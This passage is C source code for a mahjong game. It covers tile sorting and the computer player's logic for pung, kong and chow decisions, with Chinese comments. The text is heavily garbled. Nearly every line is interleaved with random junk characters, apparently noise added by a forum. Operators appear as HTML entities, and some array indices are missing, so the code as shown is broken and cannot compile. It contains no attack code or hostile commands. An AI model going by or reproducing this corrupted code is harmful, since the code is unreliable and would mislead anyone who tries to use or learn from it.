computer.pp[n].number=computer.pp[j+1].number;
$ s7 W5 a2 {8 r! Z. H4 |2 n$ l: Acomputer.pp[j+1].number=u;) R4 J) h; ?% I* g% X
}6 \4 c. f& Q, T  {7 T/ ]( V2 d
}, T/ p3 _1 i- x' p2 _1 E
}
( G2 x. n; b- T0 f1 s9 ]void melipai()" s# f$ Z, F1 ^
{ int n,j,u;6 H; B' e' o, H0 j; d
int *lingshi;* `# S, Z( N: K1 e
for(n=0;n&lt;me.m;n++)
+ L  H$ }8 V5 Y  t! b: t* bfor(j=n;j&lt;me.m;j++). l* {- s8 V5 M. x
{  o- [+ ?, P5 }! o6 S' q5 U7 x
if(me.pp[n].number&gt;me.pp[j+1].number)* }" z1 R* h' i0 K4 g7 k
{
# l! y8 W  |; ?1 B/ P! w( [' Elingshi=me.pp[n].k;
* h9 X8 Y( }. [+ d; _2 p! ]me.pp[n].k=me.pp[j+1].k;
  P: P. A! C6 B8 ^3 w4 P* \5 jme.pp[j+1].k=lingshi;
7 w% d2 _2 a9 N* R$ Q! Q# Vu=me.pp[n].oneorfour;5 J2 K% ]% C2 Y( r
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
7 f4 Q! v3 l6 P" o" {: M! zme.pp[j+1].oneorfour=u;  Q: c9 r  R! n6 K
u=me.pp[n].number;9 ~5 D& i5 m" b: v
me.pp[n].number=me.pp[j+1].number;5 P6 p6 ^' B2 V- W
me.pp[j+1].number=u;# K; M' c8 [. F# j7 ]% c6 R9 n
}
, k8 c* T" X: }/ [+ j+ belse% w) q% [  g9 k! T. Y" A
if(me.pp[n].number==me.pp[j+1].number)
! {) b2 K( U4 g, rif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
3 @1 I3 I# N% E{5 B" z; e, w+ V6 [
lingshi=me.pp[n].k;: ]. w) L& R9 Z) r8 |
me.pp[n].k=me.pp[j+1].k;
* n: @  n4 F  p( Zme.pp[j+1].k=lingshi;. u$ V" j. C* m3 h! e$ N7 d9 Q
u=me.pp[n].oneorfour;7 l0 z  u/ ]9 n* P+ N9 T$ J
me.pp[n].oneorfour=me.pp[j+1].oneorfour;7 z9 j* y4 K4 g
me.pp[j+1].oneorfour=u;
; \! C- E1 [3 u7 ou=me.pp[n].number;
! _& ^/ Z* p5 L8 m/ Wme.pp[n].number=me.pp[j+1].number;
$ S4 U9 K% C0 a$ Zme.pp[j+1].number=u;
7 O( I/ W- V8 O( m3 a: K}- v1 s! s; j0 H7 T7 [
}" F, f$ B& C0 B5 v. e' z  G% M
}) \1 F$ q/ c0 F$ y- F5 G5 Z5 v9 ?
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
5 V, |9 f( v7 ?/ k. i- A9 K{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
/ @0 K7 v" H* H4 s( Yif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
0 V# G) f' M+ E6 A; O3 J{
7 @9 E5 N* Q5 S7 clogo=1;
# ]* R4 o* J' ]" }if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)  m% Y8 b8 `) ^; y* g% U; s
logoo=1;% g; F% u( n6 D0 C
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
8 f4 V: B! V/ K; Llogoo=2;8 Z) p; Z) x, a* @
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)% D- l3 U" t5 M# r! x- S
logoo=3;
0 ~4 c5 ^2 e2 i& b( Gelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)( P- X& _) p; x
logoo=4;: W; {0 t; H9 h) S! l* Y& Z
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)1 Q( [9 k1 l+ j. o  |/ F; T
logoo=5;6 n) w; C( V, h. Y, N
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)) x8 j. G. C, `, X2 W2 ~! n% J
logoo=6;
/ r! B; y6 h, i$ p3 Oelse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)1 U5 P( I. F  e+ G# ]2 v0 ~# ~3 [& f
logoo=7;
! Y, \" A" O" Felse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)' y, Z! O6 O" B+ x
logoo=8;* S) ^: l. M$ v9 D% c
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32): O+ n; U9 M2 t1 h9 W7 j$ _
logoo=9;# b' _- A8 F# n. s
}
' P4 E- l" E: u. k$ M1 o) Aelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)( a' R8 B1 i5 N( N9 n; o$ j
{# X( o7 g, R: O8 G) ]
logo=2;
4 [6 N9 X! ?) F! z- L: Aif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
1 M3 ^" r9 F. W- V0 Xlogoo=1;
& V: Z7 v6 M0 q8 M2 }$ @2 aelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
/ i* |$ j' |$ C2 t+ ylogoo=2;
7 X: d5 V1 T5 I+ S, H' }else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
) H6 ]4 e: O2 ~+ _3 |: b* _8 S* n0 P* Vlogoo=3;
% H- ?. [# M' t7 yelse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)7 n  M4 ~. _$ c* ^! I! ^% Y
logoo=4;; E9 A( Y5 A& G" f" x# G
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
6 W" Z, T4 V" P& B2 k  _logoo=5;0 R6 u( w1 ]# G& l! q- L4 @
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
$ X1 O3 d* `* `7 ?/ G. U& n8 i. |: v1 V" Hlogoo=6;
% M% Q$ b' a2 N% g5 Kelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
) K5 h- ?/ g& ylogoo=7;
) I7 S$ y' g2 j2 gelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)2 Y1 n0 q; f; V0 A
logoo=8;) S! O1 m" g, w9 @/ r
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)9 r& Z: C6 t& ^4 z, i' R) m0 M/ x
logoo=9;- O9 v- a% Q" |. k; k# l, f$ G2 }
}8 ]4 \1 p) Y3 X8 l' x5 m8 `
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
; N4 L! Q) r3 O) m* r; b4 ?+ j- x. T{5 T4 \) T* O8 n' z' u4 F, v- z* V
logo=3;
  a/ J' V% M; y7 Pif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
7 d% y" w; d7 w% alogoo=1;( f+ }. L3 r* ?, J
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
% D" ]& {; M0 \0 klogoo=2;
0 W& L4 L0 E1 m( g8 h% Aelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)7 U& y5 p2 U5 J
logoo=3;- t7 u5 e4 N, q
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)# ~  W- h. R$ [- _3 h
logoo=4;: \5 j# a: D1 f) X, a- I
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)2 W- n4 _# _) A5 F& _, G* {; _; _
logoo=5;
" s% J9 H! \  \7 s% b  e' Welse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
1 P- ^, y, k2 m$ `$ @( _- Elogoo=6;: ]# J4 M0 f& Y" D9 X  I( \
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
( P, W- \1 k9 z: A5 C$ j# N: I7 N* slogoo=7;
% X) i0 K8 J6 n, e% `, ^0 |else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)% h) i% r, e( V
logoo=8;
0 ?7 `$ m6 d# [0 i. u" q1 m3 ^else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
2 j/ W3 e! \0 }& f3 R& Ologoo=9;: p. F  _& v8 F
}3 n; f5 w  f$ d  k! C9 _
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
* m" Z% s" k5 I  k3 {{
0 i- x# P6 ~: d: plogo=4;
# b# o- O: k: n5 J: S* Nif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
  G: V$ D* D( N5 p7 b# _logoo=1;
  z3 y' W% y4 }: r. x* velse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)) t6 A  C- K4 @- b  t
logoo=2;
5 J  m7 A, [. w6 V1 celse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)) `) C+ d  |/ Q7 q4 a  [
logoo=3;- `% g9 K" u; r, w( W% ^$ \
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)' |8 h# {0 p2 _% }1 I' N
logoo=4;* E8 Z9 x) v# h: f9 F: H
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
/ T+ I( U/ }  K8 ?, [% s$ Ologoo=5;  W7 o8 h8 C$ v; U4 E% b
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
  [- ~5 c+ l) k" f9 Flogoo=6;7 m+ {- b* ^) B" b! U& X" H9 d
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
+ X8 f8 n. R; c8 M3 Q9 Q! Hlogoo=7;) G: }& Y, ~( m) Z3 D6 ^- K& o
}# e3 R% Q' O/ O) L
while(b&lt;=computer.m)
$ c- ~4 h3 C/ D' G& ?{. ?/ k# i& N( F1 \
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
6 u) D7 K+ W2 [, `; t{8 Q. }2 q* f  I
lg=1;
# O% O) Q# l1 a) M3 _9 }/ rcomputer.pp.d[0]=1;  f4 v9 m/ R" R) d' S4 }
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
' |' j+ Q; ?" E% g# P' u{0 _# q) b8 g% _% Z2 O: }/ k0 N
lgg=1;! Z; K; \- Q) Q' t: ^  N) C
computer.pp.d[1]=1;
3 U4 X+ {3 F' D+ ~}
: D! v  U  X# s( I; n/ Aelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
  w+ b. j0 S0 C3 T4 B' v5 D{8 H3 F) F7 M# a& |
lgg=2;. U9 R% i4 _( P& R
computer.pp.d[1]=2;
; d& r, J1 k+ H5 f; v5 w: }$ F2 V}
2 X0 _! z/ H& g# Welse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
# y! Q2 I0 g! s  t/ ]  o{# K  S8 @. k& p. n; P. I, h$ Z( h
lgg=3;" ?- ^$ c. y- k7 r/ b& U% t
computer.pp.d[1]=3;
- {+ x% q$ w2 d/ `}; l0 G- J6 X% ^/ P4 t5 @0 z
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)' b! z" M( _/ D) P
{0 Z3 ^4 H$ v) A* ?5 H  Z4 c( e2 ~( Y& Z
lgg=4;
3 y$ M3 o" I0 ^; y2 X+ \' y) W0 E/ xcomputer.pp.d[1]=4;7 c4 `! P" x8 c# N- \
}
# W4 k8 h3 Y1 r) {8 H4 I/ Lelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
4 H6 f% r+ D: X5 _5 q4 i{# h: L, a* P3 Z6 Y" O
lgg=5;) f) Q! b, p+ f
computer.pp.d[1]=5;+ K0 S" c9 I0 e
}: ~' w. e; i% A
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)9 S+ D/ l8 L% n) u* e1 ~+ X/ u
{
, |5 W) P0 `8 J$ a- f- elgg=6;
) D! D3 W* o  q) J4 dcomputer.pp.d[1]=6;9 ^( i4 m% J& A2 g1 d
}
4 D* m; W# Z1 w, uelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
+ O% G, }7 g3 w{' D! \3 q4 q& b$ M
lgg=7;* |7 c& ]: i$ s
computer.pp.d[1]=7;
/ J5 r# b* s6 P8 i4 i8 ?}7 R4 [9 \7 ~7 R% O% W
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)2 N2 m1 ?" V2 x
{& T1 {2 D. \1 k1 ^. P
lgg=8;1 d6 l  {* u5 z2 h. ^1 P7 N' k
computer.pp.d[1]=8;
2 E. ]& G+ D* T4 g% t2 X0 f; I1 u}
2 ~1 R1 v2 h5 G' N" x  O5 E5 `else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
' D" }( G( @+ l5 f1 @{7 q/ K* }1 c* B$ g
lgg=9;
" G8 \, }: T0 j, jcomputer.pp.d[1]=9;
; o! }3 w' I) T+ o' L; E) V( N}& ?+ `8 `( J& q9 v2 L& p
}3 C8 ~; [, e% `
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
, E0 W5 _4 R' S+ O6 d/ Y6 f{& k: N( ~' Y7 x6 I+ X) W
lg=2;
& ?9 O* o7 l* I/ J; S4 k5 ocomputer.pp.d[0]=2;
# ?1 m! y1 ~* \0 A% Yif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)& V2 X# T! ^+ c
{
4 t  t, C  r5 D/ N* e2 ]lgg=1;$ I; k& |7 C, a4 ^+ X
computer.pp.d[1]=1;6 [! L4 F4 T5 b# A% r; L
}! @  x2 ~- U  K  e
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
7 Y! V/ I# y, I/ t% ^+ i9 C{0 s8 e9 ?8 P' [( w- k
lgg=2;
" Y' n* u( N- i+ \% t+ ccomputer.pp.d[1]=2;, L* S7 [% b" j1 V
}
$ a1 ~1 _4 w( d, pelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)  ]$ w( K2 ]) \7 o, a3 L# U
{
6 }9 O! t$ C' r1 J3 Y# E1 Plgg=3;7 q2 i! Z  \, _( \/ g
computer.pp.d[1]=3;
1 C- b" F0 `2 `+ t+ A+ m9 Z" v6 s}
) p# w0 [9 h! Q0 n* k8 Relse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48): A2 P+ J5 f- G6 |  B9 k0 O0 z
{2 A/ v( M& x5 H+ R* t$ J
lgg=4;8 m# F( i3 r# x2 P& T- H1 Y+ R
computer.pp.d[1]=4;% m! n, q0 n4 T7 b) T5 k* c  i
}
4 W4 Q8 `* H* l9 w8 [else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)! n9 n( v/ c5 e0 ~: @
{; W6 A" \9 W2 M  t
lgg=5;
4 x0 U3 P: o, a$ Mcomputer.pp.d[1]=5;! }: K: V- h: ?: P4 C/ p) ~
}/ ]2 r6 P  m5 r) X" V& a! I4 b
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
. D* O! C9 `3 \' J* ]6 u3 L{
( g8 K2 y; h1 X9 tlgg=6;
  c% u2 i* ]; `& _  e4 n7 Pcomputer.pp.d[1]=6;+ R9 w# Z2 E6 w! D
}
2 \3 |2 N  F" T8 d3 Aelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)( f7 b* s/ `: X" z9 f$ @6 p
{& [" K& c! ^3 {( p/ o
lgg=7;
# B0 x6 J7 Z- N5 icomputer.pp.d[1]=7;2 i* I( O2 e! l! x2 W' I
}
: t- i4 Z/ _4 lelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)* [5 q* R9 r) ~! C
{
, _& v, l3 q; [lgg=8;. H8 D$ d3 s$ r/ ~: f7 h& l
computer.pp.d[1]=8;
. s& d, p- l& W6 X- G+ {" X; Y}( y2 K% ~+ q' z- O
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
- U+ f( k2 Z" Q8 I8 t1 i0 B{
' l& {) i* m9 P# y* W1 C/ h; |lgg=9;
3 Q, Y: ^5 x* F) Ecomputer.pp.d[1]=9;: y* O& X4 I6 T! N; [3 W+ A+ d
}
+ C  K! N; j7 h  {7 W}
4 i) d* f$ ?+ E1 a( z( x# i6 c; l% felse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)- K7 U, L& a" z- t1 S) G+ F( b
{
: v  Z1 O% h! e( q0 P. V& slg=3;$ {" T5 X' z8 E/ t5 l
computer.pp.d[0]=3;$ B2 a! d, n% F, v) h9 T+ r
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)) Z' [+ G$ D, O# I$ V( q% g2 Y
{
4 m& W8 I. ~9 l% U1 Xlgg=1;/ s  W5 x& W$ j$ {2 j
computer.pp.d[1]=1;
" G" h$ s! K7 m9 `+ K% }  _}
# a0 l: L4 d$ m2 r* Y8 _else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)7 d  p+ x' Q% O# g
{
/ y  x# E* r, W/ _9 Q, P/ Vlgg=2;2 \+ G2 u$ _: t( v/ {, a
computer.pp.d[1]=2;: a4 ^* i7 z% H; \
}
1 L# ]0 q3 U, {; X% m: Selse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80); c/ Z! {) M" C+ v* a# T
{8 j+ [/ D+ b: p7 H# T1 T4 {
lgg=3;# e; a4 `4 ~1 f0 }: B- G2 y. M* N
computer.pp.d[1]=3;
; L. V* p! H( T- \7 i- j}6 j+ @+ L$ B8 {4 G- O( v
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)" G9 c* k7 {- u
{5 C+ L8 _% C: l/ ~7 t) k
lgg=4;
- p* s9 {9 u( `3 Wcomputer.pp.d[1]=4;
' Z; }/ U$ f% P2 x}
6 ^- o3 b* ?+ s$ ~/ Uelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
8 L+ ?: v$ P0 f, Q) y+ k- ~{
- P2 ~8 o$ K! slgg=5;
$ ^' m6 B# ]  m2 T4 B8 g! _4 U5 tcomputer.pp.d[1]=5;
4 j6 H& C5 q$ H" m, ^9 N3 c! ~* L+ n}
: s0 E; D: |8 c! i( ]else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
4 r$ V" `8 h2 `5 b' ]{
1 O3 b8 @9 Q9 _  [: ]  zlgg=6;* f# g$ B4 Q, `& N. _3 E+ t
computer.pp.d[1]=6;
: K( K8 L  \, W, [- {" l. c' J8 v}
- \' h; x+ u9 Lelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
& |2 ~, k! c' `6 @  r8 a{
6 K$ }0 c7 S9 G8 j4 [. Klgg=7;
) o/ }' U1 C7 H5 _6 bcomputer.pp.d[1]=7;9 M" [$ h$ _2 p  s" g8 N9 @
}
# w4 U$ q. V* I8 b- @) B! ^else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
  G% {) e' h; X; D, K( x{
! _* }8 ]9 \& n0 p& f$ `  jlgg=8;
8 @3 f# F" ]( R) s6 \; wcomputer.pp.d[1]=8;
& V' W. Z3 p8 j# u" Z$ ~& ~, R& d}  v5 L. C  X9 U8 d* I7 h1 s! u) g
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
7 T3 R4 B7 c, c" D2 H: T  l! \{( N2 d  k+ ~  c8 T* k
lgg=9;: @  m# p, p- l$ L6 G- S1 E6 d- ]( H
computer.pp.d[1]=9;
6 r: Z7 s, d7 `' s' m}& S! N; E8 k$ k0 y, Y
}3 _1 ]2 P. B; j0 [& F' \8 \& |
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)- w. E8 d! J: A  u) l
{
6 h* P) ]. }* Z3 d& t$ wlg=4;9 E/ k5 N7 z8 T  E. G% z
computer.pp.d[0]=4;+ O6 l' @9 x7 d6 n( o1 r
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)% h8 c1 V# u" s! Y! c% x! F- t
{
( E! g, ^- `' F+ c9 i' B. [lgg=1;( w! a4 \# X- w# N- V7 B
computer.pp.d[1]=1;
0 A' ~; Z6 {2 R}2 j) n6 d5 J1 M  j7 p  D
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)9 w5 h7 y; I* t" j* y- u4 I9 ^
{
8 A; X$ Q: p6 K) _+ U# o$ }lgg=2;/ X8 f- V4 Y% b( S: S* W) v8 d
computer.pp.d[1]=2;
6 h; e5 P2 b  O! h}
& ^" L, F! j% }+ s% w' Ielse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
+ k- ^8 m1 P1 o) o$ w. d{
7 Q: W+ Y* }3 Qlgg=3;# c* A& F6 t, h1 e5 n
computer.pp.d[1]=3;0 Z+ ~- l# Y% _
}
5 Z& @4 Z; Z  l2 h; i0 Jelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
$ ^$ p; G3 w( s$ \7 R* Q{
9 }* O' X8 m1 W9 Vlgg=4;
3 f5 q) e4 H* ^computer.pp.d[1]=4;% `" L9 J: ^* \6 X  p8 k. K, ~% c
}+ ^$ Q$ J1 {4 ^, Z0 \6 {( c
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)6 @' z1 i- v' r- o
{0 |3 d& v* s* @1 E
lgg=5;
$ \  _5 t% b4 @6 C8 K2 `* \computer.pp.d[1]=5;9 P/ x! g9 E8 S* {, |
}
) U( M, y! _1 M( ?+ ^2 r6 q3 }% telse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)6 W2 \3 W7 N2 Q5 D. n( }
{
/ I, T3 V' b( ^! Flgg=6;* `7 I/ h9 b5 ~, b
computer.pp.d[1]=6;
/ U' L/ U2 Y) U; Q7 u9 B- U}
* ~" B  O& j! X  ]! C; ielse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132): ^! R* @" u$ U& f
{
: ]0 N! ]% ^9 W$ V& R# blgg=7;
+ L0 `+ [: d3 g- \: Mcomputer.pp.d[1]=7;- \& ~2 H9 K! E! E5 V
}& g! z1 [) Q0 T$ R7 E' _! g  H+ r" O9 p
}$ O* r( ~+ L# }5 ]8 r, M
- h+ ^* g% @1 h3 B" ]
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
8 Z( J1 `7 I: Xif(logoo==lgg)# h+ r# `# _7 r9 ?  ]4 `
pg++;
* d3 r2 f2 i: V3 `8 u$ b) c$ }9 rch.lg=lg; /*保存电脑手里的每张牌的信息*/
3 J. a$ M/ A( ^ch.lgg=lgg;/ q/ J  G: t5 Y
lg=0;5 R" v% v) A! c. |. Y0 I" z' `
lgg=0;
( k: r) Q2 L6 J) D9 V1 Sb++;( t  W2 f* Z- X/ _9 ]  R* Q! E
}
: d8 |& D+ u3 Q3 Dif(pg==2) /*乓*/
* I+ b/ p: T4 R" D4 d  g{) Z4 q, G! X" z: j8 S6 P

1 J# K* a. H9 {& P: |% L6 G9 G, osing=1;* C% ^: F: W$ _' m3 }' L7 k$ m* W
b=computer.m;4 R+ U0 v! k: Q9 C) M. ~+ e
while(b!=-1)
8 }& U' P; N1 s. n" d+ b2 Z; f0 A{
# w# F. N* D8 O9 k; ?4 Z+ o- `if(strcmp(me.pp[c].k,computer.pp.k)==0)- \7 z& i. H/ d) {* J6 g
computer.pp.p=1;
* R! m/ `, |' r0 Y
, T  G; x( R6 P$ P) Eb--;
" C- k# h$ L$ X5 u( F9 n}$ v+ ^! t& P- h- w
}
5 m; H% J/ @& ]1 jif(pg==3) /*杠*/# x2 s# D- c, r' L/ B
{3 c. i0 \2 q# ?3 X1 }

1 v0 x  z0 m2 m- \# U) e1 ~sing=2;
" g+ M& M0 x/ |$ V; \4 g5 ]b=computer.m;) Y; ?: K' `: k# b. x2 r
while(b!=-1)
/ f- h1 V, c  b; c' e{
2 A+ Y9 w6 N$ \7 [' ?/ u. Iif(strcmp(me.pp[c].k,computer.pp.k)==0)5 n. {- M# S* U* v
computer.pp.g=1;
/ s/ t- z% P- d+ r: j: Tb--;/ A( `# o& V+ t4 Y7 C7 T$ ?0 f
}- ?+ D$ l1 F% B0 ]+ j
}
- Y" ^$ ^+ r4 u3 Nf=0;% N: [4 [! h" B, I3 H+ N5 S
while(f&lt;computer.m) /*吃的判断*/& _% }0 h7 b* A8 }+ Q' [3 {8 D
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)6 G9 C1 l; B2 O5 R9 y
{
' d9 }: u1 v- J8 B4 G! e/ d+ W8 wif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/0 o# y1 K" K8 K) H& R
if(ch[f].lgg-logoo==1)4 v! r0 D; b4 \/ F; q! d' ^7 W
{  t3 T6 R+ L4 p' e: G
gp++;
, a% d6 _! F2 L" }( dcomputer.pp[f].c=1;
; |, C/ j" ^* Ocomputer.pp[f+1].c=1;1 M. a/ S8 ]. y, h+ Z8 W: o6 K6 c
}
' F! o7 z( w& |2 U( T& ]2 Yif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
: n; s* _! _. Xif(ch[f+1].lgg-logoo==-1)
  p5 R; B0 s  g# w& W& d{
* ^/ r. v2 \" U$ K; Xgp++;( D4 z" s* k5 X6 U
computer.pp[f].c=1;# g8 U* U( N+ F6 ?& d
computer.pp[f+1].c=1;) N: i  K. O$ _& J2 y" S
}$ a) f& z1 H! y1 ^
if(ch[f].lgg-logoo==-1) /*中吃*/1 X8 J; E, R; n3 R
if(ch[f+1].lgg-logoo==1)
. c& ~! C" w$ A6 I' C{7 f5 O% S0 q' Z; ^
gp++;
/ L( {- F' k4 _  Ccomputer.pp[f].c=1;
' w& w8 T. ~8 @  o0 d& L3 rcomputer.pp[f+1].c=1;! y# B; m- k- N. p  H" R3 h7 G
}
6 W- z- A- Q# q: X# H& u$ Tif(gp==1)
5 n( _- f0 [- d, i& e1 Hbreak;- {, M& n* e; b6 r( }. H3 G
}8 a' n2 J  K8 j/ r' x6 N& R, @  T' b
f++;& |& \5 G" K4 y6 `0 C
}
0 E3 q. a2 t% a1 O% ^/ W* ~if(gp==1)) j) m  K* J7 O/ k: U* r2 ~
{sing=7;2 u9 Y; z1 y6 Z6 R! i5 z, u
* _4 P" l7 B8 l( F2 q7 e! W( N! `* H
}
3 I) P9 M0 r2 I' a+ P: N5 zpg=0;
, x2 J7 D. V+ R0 z  f6 Cgp=0;# M6 n: v& v, ^; v! t1 K# y; F
b=0;
$ h& ?/ ], @/ `$ ?# b( z: I9 p) T7 k}
+ l+ e3 |5 P& D* B/ w) z4 `void rgznme(int c) /*本程序涵数的核心针对我的牌*/+ O+ B9 ]4 U4 q5 m3 G* v* }, M
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
/ g) j; F$ ?0 p& p* e; N  O. E9 hif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)! r$ |. H0 z: ~
{, t3 }: ?, `) S' y; M4 h
logo=1;' p! I0 C/ h6 c: `
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
6 }  {) R# g9 ^. g4 |1 [/ ~" rlogoo=1;
: d- Z) t& P6 A3 x6 eelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
( e/ d% i5 D* h$ dlogoo=2;' P6 h3 h8 [. P8 ~- y
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
& y, l# G4 C' b7 W  B7 Rlogoo=3;
8 G% y- J& ^% K. w- f) P9 ?% Felse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
+ T5 n8 f( b9 g9 }  h- A% k! slogoo=4;' f3 ?& G$ H: @1 {
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)  S8 e6 F. a- c6 y/ `/ `7 }# {& ~
logoo=5;0 n, V$ K1 R7 [/ s
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
7 w1 u; |- t, b( c# m) X2 ulogoo=6;
4 U7 @& u+ ?: aelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)- G' r; f2 Q$ u1 M$ Q  x0 g
logoo=7;
$ O! U" }! ?8 Y7 }else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)# Q. [; r' E! f6 Z
logoo=8;
. h  J& Z6 Z7 M1 ~+ K) X( R  j$ P! m% Uelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)6 B4 f# c5 j+ q. q1 l* Z3 T
logoo=9;
$ F9 K2 J; y" h$ o}
' Y% B# K- A5 p$ c3 G3 r: m6 Selse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
7 B" y& g( N2 }0 c' F{9 W7 |4 k1 E+ O
logo=2;
0 P# m* d- C% N; Y% kif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)! F* f: N6 W$ S
logoo=1;& G: t* d5 Q( r+ }( P* T
